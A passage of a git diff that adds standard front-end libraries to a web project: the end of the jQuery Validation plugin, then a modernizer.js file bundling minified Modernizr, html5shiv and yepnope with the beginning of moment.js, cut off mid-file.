+		}
+		return rules;
+	},
+
+	staticRules: function( element ) {
+		var rules = {},
+			validator = $.data( element.form, "validator" );
+
+		if ( validator.settings.rules ) {
+			rules = $.validator.normalizeRule( validator.settings.rules[ element.name ] ) || {};
+		}
+		return rules;
+	},
+
+	normalizeRules: function( rules, element ) {
+
+		// Handle dependency check
+		$.each( rules, function( prop, val ) {
+
+			// Ignore rule when param is explicitly false, eg. required:false
+			if ( val === false ) {
+				delete rules[ prop ];
+				return;
+			}
+			if ( val.param || val.depends ) {
+				var keepRule = true;
+				switch ( typeof val.depends ) {
+				case "string":
+					keepRule = !!$( val.depends, element.form ).length;
+					break;
+				case "function":
+					keepRule = val.depends.call( element, element );
+					break;
+				}
+				if ( keepRule ) {
+					rules[ prop ] = val.param !== undefined ? val.param : true;
+				} else {
+					$.data( element.form, "validator" ).resetElements( $( element ) );
+					delete rules[ prop ];
+				}
+			}
+		} );
+
+		// Evaluate parameters
+		$.each( rules, function( rule, parameter ) {
+			rules[ rule ] = $.isFunction( parameter ) && rule !== "normalizer" ? parameter( element ) : parameter;
+		} );
+
+		// Clean number parameters
+		$.each( [ "minlength", "maxlength" ], function() {
+			if ( rules[ this ] ) {
+				rules[ this ] = Number( rules[ this ] );
+			}
+		} );
+		$.each( [ "rangelength", "range" ], function() {
+			var parts;
+			if ( rules[ this ] ) {
+				if ( $.isArray( rules[ this ] ) ) {
+					rules[ this ] = [ Number( rules[ this ][ 0 ] ), Number( rules[ this ][ 1 ] ) ];
+				} else if ( typeof rules[ this ] === "string" ) {
+					parts = rules[ this ].replace( /[\[\]]/g, "" ).split( /[\s,]+/ );
+					rules[ this ] = [ Number( parts[ 0 ] ), Number( parts[ 1 ] ) ];
+				}
+			}
+		} );
+
+		if ( $.validator.autoCreateRanges ) {
+
+			// Auto-create ranges
+			if ( rules.min != null && rules.max != null ) {
+				rules.range = [ rules.min, rules.max ];
+				delete rules.min;
+				delete rules.max;
+			}
+			if ( rules.minlength != null && rules.maxlength != null ) {
+				rules.rangelength = [ rules.minlength, rules.maxlength ];
+				delete rules.minlength;
+				delete rules.maxlength;
+			}
+		}
+
+		return rules;
+	},
+
+	// Converts a simple string to a {string: true} rule, e.g., "required" to {required:true}
+	normalizeRule: function( data ) {
+		if ( typeof data === "string" ) {
+			var transformed = {};
+			$.each( data.split( /\s/ ), function() {
+				transformed[ this ] = true;
+			} );
+			data = transformed;
+		}
+		return data;
+	},
+
+	// https://jqueryvalidation.org/jQuery.validator.addMethod/
+	addMethod: function( name, method, message ) {
+		$.validator.methods[ name ] = method;
+		$.validator.messages[ name ] = message !== undefined ? message : $.validator.messages[ name ];
+		if ( method.length < 3 ) {
+			$.validator.addClassRules( name, $.validator.normalizeRule( name ) );
+		}
+	},
+
+	// https://jqueryvalidation.org/jQuery.validator.methods/
+	methods: {
+
+		// https://jqueryvalidation.org/required-method/
+		required: function( value, element, param ) {
+
+			// Check if dependency is met
+			if ( !this.depend( param, element ) ) {
+				return "dependency-mismatch";
+			}
+			if ( element.nodeName.toLowerCase() === "select" ) {
+
+				// Could be an array for select-multiple or a string, both are fine this way
+				var val = $( element ).val();
+				return val && val.length > 0;
+			}
+			if ( this.checkable( element ) ) {
+				return this.getLength( value, element ) > 0;
+			}
+			return value.length > 0;
+		},
+
+		// https://jqueryvalidation.org/email-method/
+		email: function( value, element ) {
+
+			// From https://html.spec.whatwg.org/multipage/forms.html#valid-e-mail-address
+			// Retrieved 2014-01-14
+			// If you have a problem with this implementation, report a bug against the above spec
+			// Or use custom methods to implement your own email validation
+			return this.optional( element ) || /^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/.test( value );
+		},
+
+		// https://jqueryvalidation.org/url-method/
+		url: function( value, element ) {
+
+			// Copyright (c) 2010-2013 Diego Perini, MIT licensed
+			// https://gist.github.com/dperini/729294
+			// see also https://mathiasbynens.be/demo/url-regex
+			// modified to allow protocol-relative URLs
+			return this.optional( element ) || /^(?:(?:(?:https?|ftp):)?\/\/)(?:\S+(?::\S*)?@)?(?:(?!(?:10|127)(?:\.\d{1,3}){3})(?!(?:169\.254|192\.168)(?:\.\d{1,3}){2})(?!172\.(?:1[6-9]|2\d|3[0-1])(?:\.\d{1,3}){2})(?:[1-9]\d?|1\d\d|2[01]\d|22[0-3])(?:\.(?:1?\d{1,2}|2[0-4]\d|25[0-5])){2}(?:\.(?:[1-9]\d?|1\d\d|2[0-4]\d|25[0-4]))|(?:(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)(?:\.(?:[a-z\u00a1-\uffff0-9]-*)*[a-z\u00a1-\uffff0-9]+)*(?:\.(?:[a-z\u00a1-\uffff]{2,})).?)(?::\d{2,5})?(?:[/?#]\S*)?$/i.test( value );
+		},
+
+		// https://jqueryvalidation.org/date-method/
+		date: function( value, element ) {
+			return this.optional( element ) || !/Invalid|NaN/.test( new Date( value ).toString() );
+		},
+
+		// https://jqueryvalidation.org/dateISO-method/
+		dateISO: function( value, element ) {
+			return this.optional( element ) || /^\d{4}[\/\-](0?[1-9]|1[012])[\/\-](0?[1-9]|[12][0-9]|3[01])$/.test( value );
+		},
+
+		// https://jqueryvalidation.org/number-method/
+		number: function( value, element ) {
+			return this.optional( element ) || /^(?:-?\d+|-?\d{1,3}(?:,\d{3})+)?(?:\.\d+)?$/.test( value );
+		},
+
+		// https://jqueryvalidation.org/digits-method/
+		digits: function( value, element ) {
+			return this.optional( element ) || /^\d+$/.test( value );
+		},
+
+		// https://jqueryvalidation.org/minlength-method/
+		minlength: function( value, element, param ) {
+			var length = $.isArray( value ) ? value.length : this.getLength( value, element );
+			return this.optional( element ) || length >= param;
+		},
+
+		// https://jqueryvalidation.org/maxlength-method/
+		maxlength: function( value, element, param ) {
+			var length = $.isArray( value ) ? value.length : this.getLength( value, element );
+			return this.optional( element ) || length <= param;
+		},
+
+		// https://jqueryvalidation.org/rangelength-method/
+		rangelength: function( value, element, param ) {
+			var length = $.isArray( value ) ? value.length : this.getLength( value, element );
+			return this.optional( element ) || ( length >= param[ 0 ] && length <= param[ 1 ] );
+		},
+
+		// https://jqueryvalidation.org/min-method/
+		min: function( value, element, param ) {
+			return this.optional( element ) || value >= param;
+		},
+
+		// https://jqueryvalidation.org/max-method/
+		max: function( value, element, param ) {
+			return this.optional( element ) || value <= param;
+		},
+
+		// https://jqueryvalidation.org/range-method/
+		range: function( value, element, param ) {
+			return this.optional( element ) || ( value >= param[ 0 ] && value <= param[ 1 ] );
+		},
+
+		// https://jqueryvalidation.org/step-method/
+		step: function( value, element, param ) {
+			var type = $( element ).attr( "type" ),
+				errorMessage = "Step attribute on input type " + type + " is not supported.",
+				supportedTypes = [ "text", "number", "range" ],
+				re = new RegExp( "\\b" + type + "\\b" ),
+				notSupported = type && !re.test( supportedTypes.join() ),
+				decimalPlaces = function( num ) {
+					var match = ( "" + num ).match( /(?:\.(\d+))?$/ );
+					if ( !match ) {
+						return 0;
+					}
+
+					// Number of digits right of decimal point.
+					return match[ 1 ] ? match[ 1 ].length : 0;
+				},
+				toInt = function( num ) {
+					return Math.round( num * Math.pow( 10, decimals ) );
+				},
+				valid = true,
+				decimals;
+
+			// Works only for text, number and range input types
+			// TODO find a way to support input types date, datetime, datetime-local, month, time and week
+			if ( notSupported ) {
+				throw new Error( errorMessage );
+			}
+
+			decimals = decimalPlaces( param );
+
+			// Value can't have too many decimals
+			if ( decimalPlaces( value ) > decimals || toInt( value ) % toInt( param ) !== 0 ) {
+				valid = false;
+			}
+
+			return this.optional( element ) || valid;
+		},
+
+		// https://jqueryvalidation.org/equalTo-method/
+		equalTo: function( value, element, param ) {
+
+			// Bind to the blur event of the target in order to revalidate whenever the target field is updated
+			var target = $( param );
+			if ( this.settings.onfocusout && target.not( ".validate-equalTo-blur" ).length ) {
+				target.addClass( "validate-equalTo-blur" ).on( "blur.validate-equalTo", function() {
+					$( element ).valid();
+				} );
+			}
+			return value === target.val();
+		},
+
+		// https://jqueryvalidation.org/remote-method/
+		remote: function( value, element, param, method ) {
+			if ( this.optional( element ) ) {
+				return "dependency-mismatch";
+			}
+
+			method = typeof method === "string" && method || "remote";
+
+			var previous = this.previousValue( element, method ),
+				validator, data, optionDataString;
+
+			if ( !this.settings.messages[ element.name ] ) {
+				this.settings.messages[ element.name ] = {};
+			}
+			previous.originalMessage = previous.originalMessage || this.settings.messages[ element.name ][ method ];
+			this.settings.messages[ element.name ][ method ] = previous.message;
+
+			param = typeof param === "string" && { url: param } || param;
+			optionDataString = $.param( $.extend( { data: value }, param.data ) );
+			if ( previous.old === optionDataString ) {
+				return previous.valid;
+			}
+
+			previous.old = optionDataString;
+			validator = this;
+			this.startRequest( element );
+			data = {};
+			data[ element.name ] = value;
+			$.ajax( $.extend( true, {
+				mode: "abort",
+				port: "validate" + element.name,
+				dataType: "json",
+				data: data,
+				context: validator.currentForm,
+				success: function( response ) {
+					var valid = response === true || response === "true",
+						errors, message, submitted;
+
+					validator.settings.messages[ element.name ][ method ] = previous.originalMessage;
+					if ( valid ) {
+						submitted = validator.formSubmitted;
+						validator.resetInternals();
+						validator.toHide = validator.errorsFor( element );
+						validator.formSubmitted = submitted;
+						validator.successList.push( element );
+						validator.invalid[ element.name ] = false;
+						validator.showErrors();
+					} else {
+						errors = {};
+						message = response || validator.defaultMessage( element, { method: method, parameters: value } );
+						errors[ element.name ] = previous.message = message;
+						validator.invalid[ element.name ] = true;
+						validator.showErrors( errors );
+					}
+					previous.valid = valid;
+					validator.stopRequest( element, valid );
+				}
+			}, param ) );
+			return "pending";
+		}
+	}
+
+} );
+
+// Ajax mode: abort
+// usage: $.ajax({ mode: "abort"[, port: "uniqueport"]});
+// if mode:"abort" is used, the previous request on that port (port can be undefined) is aborted via XMLHttpRequest.abort()
+
+var pendingRequests = {},
+	ajax;
+
+// Use a prefilter if available (1.5+)
+if ( $.ajaxPrefilter ) {
+	$.ajaxPrefilter( function( settings, _, xhr ) {
+		var port = settings.port;
+		if ( settings.mode === "abort" ) {
+			if ( pendingRequests[ port ] ) {
+				pendingRequests[ port ].abort();
+			}
+			pendingRequests[ port ] = xhr;
+		}
+	} );
+} else {
+
+	// Proxy ajax
+	ajax = $.ajax;
+	$.ajax = function( settings ) {
+		var mode = ( "mode" in settings ? settings : $.ajaxSettings ).mode,
+			port = ( "port" in settings ? settings : $.ajaxSettings ).port;
+		if ( mode === "abort" ) {
+			if ( pendingRequests[ port ] ) {
+				pendingRequests[ port ].abort();
+			}
+			pendingRequests[ port ] = ajax.apply( this, arguments );
+			return pendingRequests[ port ];
+		}
+		return ajax.apply( this, arguments );
+	};
+}
+return $;
+}));
\ No newline at end of file
diff --git a/public/js/modernizer.js b/public/js/modernizer.js
new file mode 100644
index 0000000..ee03deb
--- /dev/null
+++ b/public/js/modernizer.js
@@ -0,0 +1,4552 @@
+				
+/*!
+ * Modernizr v2.7.2
+ * www.modernizr.com
+ *
+ * Copyright (c) Faruk Ates, Paul Irish, Alex Sexton
+ * Available under the BSD and MIT licenses: www.modernizr.com/license/
+ */
+;window.Modernizr=function(a,b,c){function u(a){j.cssText=a}function v(a,b){return u(prefixes.join(a+";")+(b||""))}function w(a,b){return typeof a===b}function x(a,b){return!!~(""+a).indexOf(b)}function y(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:w(f,"function")?f.bind(d||b):f}return!1}var d="2.8.3",e={},f=!0,g=b.documentElement,h="modernizr",i=b.createElement(h),j=i.style,k,l={}.toString,m={},n={},o={},p=[],q=p.slice,r,s={}.hasOwnProperty,t;!w(s,"undefined")&&!w(s.call,"undefined")?t=function(a,b){return s.call(a,b)}:t=function(a,b){return b in a&&w(a.constructor.prototype[b],"undefined")},Function.prototype.bind||(Function.prototype.bind=function(b){var c=this;if(typeof c!="function")throw new TypeError;var d=q.call(arguments,1),e=function(){if(this instanceof e){var a=function(){};a.prototype=c.prototype;var f=new a,g=c.apply(f,d.concat(q.call(arguments)));return Object(g)===g?g:f}return c.apply(b,d.concat(q.call(arguments)))};return e});for(var z in m)t(m,z)&&(r=z.toLowerCase(),e[r]=m[z](),p.push((e[r]?"":"no-")+r));return e.addTest=function(a,b){if(typeof a=="object")for(var d in a)t(a,d)&&e.addTest(d,a[d]);else{a=a.toLowerCase();if(e[a]!==c)return e;b=typeof b=="function"?b():b,typeof f!="undefined"&&f&&(g.className+=" "+(b?"":"no-")+a),e[a]=b}return e},u(""),i=k=null,function(a,b){function l(a,b){var c=a.createElement("p"),d=a.getElementsByTagName("head")[0]||a.documentElement;return c.innerHTML="x<style>"+b+"</style>",d.insertBefore(c.lastChild,d.firstChild)}function m(){var a=s.elements;return typeof a=="string"?a.split(" "):a}function n(a){var b=j[a[h]];return b||(b={},i++,a[h]=i,j[i]=b),b}function o(a,c,d){c||(c=b);if(k)return c.createElement(a);d||(d=n(c));var g;return d.cache[a]?g=d.cache[a].cloneNode():f.test(a)?g=(d.cache[a]=d.createElem(a)).cloneNode():g=d.createElem(a),g.canHaveChildren&&!e.test(a)&&!g.tagUrn?d.frag.appendChild(g):g}function p(a,c){a||(a=b);if(k)return a.createDocumentFragment();c=c||n(a);var d=c.frag.cloneNode(),e=0,f=m(),g=f.length;for(;e<g;e++)d.createElement(f[e]);return d}function q(a,b){b.cache||(b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag()),a.createElement=function(c){return s.shivMethods?o(c,a,b):b.createElem(c)},a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){return b.createElem(a),b.frag.createElement(a),'c("'+a+'")'})+");return n}")(s,b.frag)}function r(a){a||(a=b);var c=n(a);return s.shivCSS&&!g&&!c.hasCSS&&(c.hasCSS=!!l(a,"article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}")),k||q(a,c),a}var c="3.7.0",d=a.html5||{},e=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,f=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,g,h="_html5shiv",i=0,j={},k;(function(){try{var a=b.createElement("a");a.innerHTML="<xyz></xyz>",g="hidden"in a,k=a.childNodes.length==1||function(){b.createElement("a");var a=b.createDocumentFragment();return typeof a.cloneNode=="undefined"||typeof a.createDocumentFragment=="undefined"||typeof a.createElement=="undefined"}()}catch(c){g=!0,k=!0}})();var s={elements:d.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:c,shivCSS:d.shivCSS!==!1,supportsUnknownElements:k,shivMethods:d.shivMethods!==!1,type:"default",shivDocument:r,createElement:o,createDocumentFragment:p};a.html5=s,r(b)}(this,b),e._version=d,g.className=g.className.replace(/(^|\s)no-js(\s|$)/,"$1$2")+(f?" js "+p.join(" "):""),e}(this,this.document),function(a,b,c){function d(a){return"[object Function]"==o.call(a)}function e(a){return"string"==typeof a}function f(){}function g(a){return!a||"loaded"==a||"complete"==a||"uninitialized"==a}function h(){var a=p.shift();q=1,a?a.t?m(function(){("c"==a.t?B.injectCss:B.injectJs)(a.s,0,a.a,a.x,a.e,1)},0):(a(),h()):q=0}function i(a,c,d,e,f,i,j){function k(b){if(!o&&g(l.readyState)&&(u.r=o=1,!q&&h(),l.onload=l.onreadystatechange=null,b)){"img"!=a&&m(function(){t.removeChild(l)},50);for(var d in y[c])y[c].hasOwnProperty(d)&&y[c][d].onload()}}var j=j||B.errorTimeout,l=b.createElement(a),o=0,r=0,u={t:d,s:c,e:f,a:i,x:j};1===y[c]&&(r=1,y[c]=[]),"object"==a?l.data=c:(l.src=c,l.type=a),l.width=l.height="0",l.onerror=l.onload=l.onreadystatechange=function(){k.call(this,r)},p.splice(e,0,u),"img"!=a&&(r||2===y[c]?(t.insertBefore(l,s?null:n),m(k,j)):y[c].push(l))}function j(a,b,c,d,f){return q=0,b=b||"j",e(a)?i("c"==b?v:u,a,b,this.i++,c,d,f):(p.splice(this.i++,0,a),1==p.length&&h()),this}function k(){var a=B;return a.loader={load:j,i:0},a}var l=b.documentElement,m=a.setTimeout,n=b.getElementsByTagName("script")[0],o={}.toString,p=[],q=0,r="MozAppearance"in l.style,s=r&&!!b.createRange().compareNode,t=s?l:n.parentNode,l=a.opera&&"[object Opera]"==o.call(a.opera),l=!!b.attachEvent&&!l,u=r?"object":l?"script":"img",v=l?"script":u,w=Array.isArray||function(a){return"[object Array]"==o.call(a)},x=[],y={},z={timeout:function(a,b){return b.length&&(a.timeout=b[0]),a}},A,B;B=function(a){function b(a){var a=a.split("!"),b=x.length,c=a.pop(),d=a.length,c={url:c,origUrl:c,prefixes:a},e,f,g;for(f=0;f<d;f++)g=a[f].split("="),(e=z[g.shift()])&&(c=e(c,g));for(f=0;f<b;f++)c=x[f](c);return c}function g(a,e,f,g,h){var i=b(a),j=i.autoCallback;i.url.split(".").pop().split("?").shift(),i.bypass||(e&&(e=d(e)?e:e[a]||e[g]||e[a.split("/").pop().split("?")[0]]),i.instead?i.instead(a,e,f,g,h):(y[i.url]?i.noexec=!0:y[i.url]=1,f.load(i.url,i.forceCSS||!i.forceJS&&"css"==i.url.split(".").pop().split("?").shift()?"c":c,i.noexec,i.attrs,i.timeout),(d(e)||d(j))&&f.load(function(){k(),e&&e(i.origUrl,h,g),j&&j(i.origUrl,h,g),y[i.url]=2})))}function h(a,b){function c(a,c){if(a){if(e(a))c||(j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}),g(a,j,b,0,h);else if(Object(a)===a)for(n in m=function(){var b=0,c;for(c in a)a.hasOwnProperty(c)&&b++;return b}(),a)a.hasOwnProperty(n)&&(!c&&!--m&&(d(j)?j=function(){var a=[].slice.call(arguments);k.apply(this,a),l()}:j[n]=function(a){return function(){var b=[].slice.call(arguments);a&&a.apply(this,b),l()}}(k[n])),g(a[n],j,b,n,h))}else!c&&l()}var h=!!a.test,i=a.load||a.both,j=a.callback||f,k=j,l=a.complete||f,m,n;c(h?a.yep:a.nope,!!i),i&&c(i)}var i,j,l=this.yepnope.loader;if(e(a))g(a,0,l,0);else if(w(a))for(i=0;i<a.length;i++)j=a[i],e(j)?g(j,0,l,0):w(j)?B(j):Object(j)===j&&h(j,l);else Object(a)===a&&h(a,l)},B.addPrefix=function(a,b){z[a]=b},B.addFilter=function(a){x.push(a)},B.errorTimeout=1e4,null==b.readyState&&b.addEventListener&&(b.readyState="loading",b.addEventListener("DOMContentLoaded",A=function(){b.removeEventListener("DOMContentLoaded",A,0),b.readyState="complete"},0)),a.yepnope=k(),a.yepnope.executeStack=h,a.yepnope.injectJs=function(a,c,d,e,i,j){var k=b.createElement("script"),l,o,e=e||B.errorTimeout;k.src=a;for(o in d)k.setAttribute(o,d[o]);c=j?h:c||f,k.onreadystatechange=k.onload=function(){!l&&g(k.readyState)&&(l=1,c(),k.onload=k.onreadystatechange=null)},m(function(){l||(l=1,c(1))},e),i?k.onload():n.parentNode.insertBefore(k,n)},a.yepnope.injectCss=function(a,c,d,e,g,i){var e=b.createElement("link"),j,c=i?h:c||f;e.href=a,e.rel="stylesheet",e.type="text/css";for(j in d)e.setAttribute(j,d[j]);g||(n.parentNode.insertBefore(e,n),m(c,0))}}(this,document),Modernizr.load=function(){yepnope.apply(window,[].slice.call(arguments,0))};
+
+//! moment.js
+//! version : 2.20.1
+//! authors : Tim Wood, Iskren Chernev, Moment.js contributors
+//! license : MIT
+//! momentjs.com
+
+;(function (global, factory) {
+    typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
+    typeof define === 'function' && define.amd ? define(factory) :
+    global.moment = factory()
+}(this, (function () { 'use strict';
+
+var hookCallback;
+
+function hooks () {
+    return hookCallback.apply(null, arguments);
+}
+
+// This is done to register the method called with moment()
+// without creating circular dependencies.
+function setHookCallback (callback) {
+    hookCallback = callback;
+}
+
+function isArray(input) {
+    return input instanceof Array || Object.prototype.toString.call(input) === '[object Array]';
+}
+
+function isObject(input) {
+    // IE8 will treat undefined and null as object if it wasn't for
+    // input != null
+    return input != null && Object.prototype.toString.call(input) === '[object Object]';
+}
+
+function isObjectEmpty(obj) {
+    if (Object.getOwnPropertyNames) {
+        return (Object.getOwnPropertyNames(obj).length === 0);
+    } else {
+        var k;
+        for (k in obj) {
+            if (obj.hasOwnProperty(k)) {
+                return false;
+            }
+        }
+        return true;
+    }
+}
+
+function isUndefined(input) {
+    return input === void 0;
+}
+
+function isNumber(input) {
+    return typeof input === 'number' || Object.prototype.toString.call(input) === '[object Number]';
+}
+
+function isDate(input) {
+    return input instanceof Date || Object.prototype.toString.call(input) === '[object Date]';
+}
+
+function map(arr, fn) {
+    var res = [], i;
+    for (i = 0; i < arr.length; ++i) {
+        res.push(fn(arr[i], i));
+    }
+    return res;
+}
+
+function hasOwnProp(a, b) {
+    return Object.prototype.hasOwnProperty.call(a, b);
+}
+
+function extend(a, b) {
+    for (var i in b) {
+        if (hasOwnProp(b, i)) {
+            a[i] = b[i];
+        }
+    }
+
+    if (hasOwnProp(b, 'toString')) {
+        a.toString = b.toString;
+    }
+
+    if (hasOwnProp(b, 'valueOf')) {
+        a.valueOf = b.valueOf;
+    }
+
+    return a;
+}
+
+function createUTC (input, format, locale, strict) {
+    return createLocalOrUTC(input, format, locale, strict, true).utc();
+}
+
+function defaultParsingFlags() {
+    // We need to deep clone this object.
+    return {
+        empty           : false,
+        unusedTokens    : [],
+        unusedInput     : [],
+        overflow        : -2,
+        charsLeftOver   : 0,
+        nullInput       : false,
+        invalidMonth    : null,
+        invalidFormat   : false,
+        userInvalidated : false,
+        iso             : false,
+        parsedDateParts : [],
+        meridiem        : null,
+        rfc2822         : false,
+        weekdayMismatch : false
+    };
+}
+
+function getParsingFlags(m) {
+    if (m._pf == null) {
+        m._pf = defaultParsingFlags();
+    }
+    return m._pf;
+}
+
+var some;
+if (Array.prototype.some) {
+    some = Array.prototype.some;
+} else {
+    some = function (fun) {
+        var t = Object(this);
+        var len = t.length >>> 0;
+
+        for (var i = 0; i < len; i++) {
+            if (i in t && fun.call(this, t[i], i, t)) {
+                return true;
+            }
+        }
+
+        return false;
+    };
+}
+
+function isValid(m) {
+    if (m._isValid == null) {
+        var flags = getParsingFlags(m);
+        var parsedParts = some.call(flags.parsedDateParts, function (i) {
+            return i != null;
+        });
+        var isNowValid = !isNaN(m._d.getTime()) &&
+            flags.overflow < 0 &&
+            !flags.empty &&
+            !flags.invalidMonth &&
+            !flags.invalidWeekday &&
+            !flags.weekdayMismatch &&
+            !flags.nullInput &&
+            !flags.invalidFormat &&
+            !flags.userInvalidated &&
+            (!flags.meridiem || (flags.meridiem && parsedParts));
+
+        if (m._strict) {
+            isNowValid = isNowValid &&
+                flags.charsLeftOver === 0 &&
+                flags.unusedTokens.length === 0 &&
+                flags.bigHour === undefined;
+        }
+
+        if (Object.isFrozen == null || !Object.isFrozen(m)) {
+            m._isValid = isNowValid;
+        }
+        else {
+            return isNowValid;
+        }
+    }
+    return m._isValid;
+}
+
+function createInvalid (flags) {
+    var m = createUTC(NaN);
+    if (flags != null) {
+        extend(getParsingFlags(m), flags);
+    }
+    else {
+        getParsingFlags(m).userInvalidated = true;
+    }
+
+    return m;
+}
+
+// Plugins that add properties should also add the key here (null value),
+// so we can properly clone ourselves.
+var momentProperties = hooks.momentProperties = [];
+
+function copyConfig(to, from) {
+    var i, prop, val;
+
+    if (!isUndefined(from._isAMomentObject)) {
+        to._isAMomentObject = from._isAMomentObject;
+    }
+    if (!isUndefined(from._i)) {
+        to._i = from._i;
+    }
+    if (!isUndefined(from._f)) {
+        to._f = from._f;
+    }
+    if (!isUndefined(from._l)) {
+        to._l = from._l;
+    }
+    if (!isUndefined(from._strict)) {
+        to._strict = from._strict;
+    }
+    if (!isUndefined(from._tzm)) {
+        to._tzm = from._tzm;
+    }
+    if (!isUndefined(from._isUTC)) {
+        to._isUTC = from._isUTC;
+    }
+    if (!isUndefined(from._offset)) {
+        to._offset = from._offset;
+    }
+    if (!isUndefined(from._pf)) {
+        to._pf = getParsingFlags(from);
+    }
+    if (!isUndefined(from._locale)) {
+        to._locale = from._locale;
+    }
+
+    if (momentProperties.length > 0) {
+        for (i = 0; i < momentProperties.length; i++) {
+            prop = momentProperties[i];
+            val = from[prop];
+            if (!isUndefined(val)) {
+                to[prop] = val;
+            }
+        }
+    }
+
+    return to;
+}
+
+var updateInProgress = false;
+
+// Moment prototype object
+function Moment(config) {
+    copyConfig(this, config);
+    this._d = new Date(config._d != null ? config._d.getTime() : NaN);
+    if (!this.isValid()) {
+        this._d = new Date(NaN);
+    }
+    // Prevent infinite loop in case updateOffset creates new moment
+    // objects.
+    if (updateInProgress === false) {
+        updateInProgress = true;
+        hooks.updateOffset(this);
+        updateInProgress = false;
+    }
+}
+
+function isMoment (obj) {
+    return obj instanceof Moment || (obj != null && obj._isAMomentObject != null);
+}
+
+function absFloor (number) {
+    if (number < 0) {
+        // -0 -> 0
+        return Math.ceil(number) || 0;
+    } else {
+        return Math.floor(number);
+    }
+}
+
+function toInt(argumentForCoercion) {
+    var coercedNumber = +argumentForCoercion,
+        value = 0;
+
+    if (coercedNumber !== 0 && isFinite(coercedNumber)) {
+        value = absFloor(coercedNumber);
+    }
+
+    return value;
+}
+
+// compare two arrays, return the number of differences
+function compareArrays(array1, array2, dontConvert) {
+    var len = Math.min(array1.length, array2.length),
+        lengthDiff = Math.abs(array1.length - array2.length),
+        diffs = 0,
+        i;
+    for (i = 0; i < len; i++) {
+        if ((dontConvert && array1[i] !== array2[i]) ||
+            (!dontConvert && toInt(array1[i]) !== toInt(array2[i]))) {
+            diffs++;
+        }
+    }
+    return diffs + lengthDiff;
+}
+
+function warn(msg) {
+    if (hooks.suppressDeprecationWarnings === false &&
+            (typeof console !==  'undefined') && console.warn) {
+        console.warn('Deprecation warning: ' + msg);
+    }
+}
+
+function deprecate(msg, fn) {
+    var firstTime = true;
+
+    return extend(function () {
+        if (hooks.deprecationHandler != null) {
+            hooks.deprecationHandler(null, msg);
+        }
+        if (firstTime) {
+            var args = [];
+            var arg;
+            for (var i = 0; i < arguments.length; i++) {
+                arg = '';
+                if (typeof arguments[i] === 'object') {
+                    arg += '\n[' + i + '] ';
+                    for (var key in arguments[0]) {
+                        arg += key + ': ' + arguments[0][key] + ', ';
+                    }
+                    arg = arg.slice(0, -2); // Remove trailing comma and space
+                } else {
+                    arg = arguments[i];
+                }
+                args.push(arg);
+            }
+            warn(msg + '\nArguments: ' + Array.prototype.slice.call(args).join('') + '\n' + (new Error()).stack);
+            firstTime = false;
+        }
+        return fn.apply(this, arguments);
+    }, fn);
+}
+
+var deprecations = {};
+
+function deprecateSimple(name, msg) {
+    if (hooks.deprecationHandler != null) {
+        hooks.deprecationHandler(name, msg);
+    }
+    if (!deprecations[name]) {
+        warn(msg);
+        deprecations[name] = true;
+    }
+}
+
+hooks.suppressDeprecationWarnings = false;
+hooks.deprecationHandler = null;
+
+function isFunction(input) {
+    return input instanceof Function || Object.prototype.toString.call(input) === '[object Function]';
+}
+
+function set (config) {
+    var prop, i;
+    for (i in config) {
+        prop = config[i];
+        if (isFunction(prop)) {
+            this[i] = prop;
+        } else {
+            this['_' + i] = prop;
+        }
+    }
+    this._config = config;
+    // Lenient ordinal parsing accepts just a number in addition to
+    // number + (possibly) stuff coming from _dayOfMonthOrdinalParse.
+    // TODO: Remove "ordinalParse" fallback in next major release.
+    this._dayOfMonthOrdinalParseLenient = new RegExp(
+        (this._dayOfMonthOrdinalParse.source || this._ordinalParse.source) +
+            '|' + (/\d{1,2}/).source);
+}
+
+function mergeConfigs(parentConfig, childConfig) {
+    var res = extend({}, parentConfig), prop;
+    for (prop in childConfig) {
+        if (hasOwnProp(childConfig, prop)) {
+            if (isObject(parentConfig[prop]) && isObject(childConfig[prop])) {
+                res[prop] = {};
+                extend(res[prop], parentConfig[prop]);
+                extend(res[prop], childConfig[prop]);
+            } else if (childConfig[prop] != null) {
+                res[prop] = childConfig[prop];
+            } else {
+                delete res[prop];
+            }
+        }
+    }
+    for (prop in parentConfig) {
+        if (hasOwnProp(parentConfig, prop) &&
+                !hasOwnProp(childConfig, prop) &&
+                isObject(parentConfig[prop])) {
+            // make sure changes to properties don't modify parent config
+            res[prop] = extend({}, res[prop]);
+        }
+    }
+    return res;
+}
+
+function Locale(config) {
+    if (config != null) {
+        this.set(config);
+    }
+}
+
+var keys;
+
+if (Object.keys) {
+    keys = Object.keys;
+} else {
+    keys = function (obj) {
+        var i, res = [];
+        for (i in obj) {
+            if (hasOwnProp(obj, i)) {
+                res.push(i);
+            }
+        }
+        return res;
+    };
+}
+
+var defaultCalendar = {
+    sameDay : '[Today at] LT',
+    nextDay : '[Tomorrow at] LT',
+    nextWeek : 'dddd [at] LT',
+    lastDay : '[Yesterday at] LT',
+    lastWeek : '[Last] dddd [at] LT',
+    sameElse : 'L'
+};
+
+function calendar (key, mom, now) {
+    var output = this._calendar[key] || this._calendar['sameElse'];
+    return isFunction(output) ? output.call(mom, now) : output;
+}
+
+var defaultLongDateFormat = {
+    LTS  : 'h:mm:ss A',
+    LT   : 'h:mm A',
+    L    : 'MM/DD/YYYY',
+    LL   : 'MMMM D, YYYY',
+    LLL  : 'MMMM D, YYYY h:mm A',
+    LLLL : 'dddd, MMMM D, YYYY h:mm A'
+};
+
+function longDateFormat (key) {
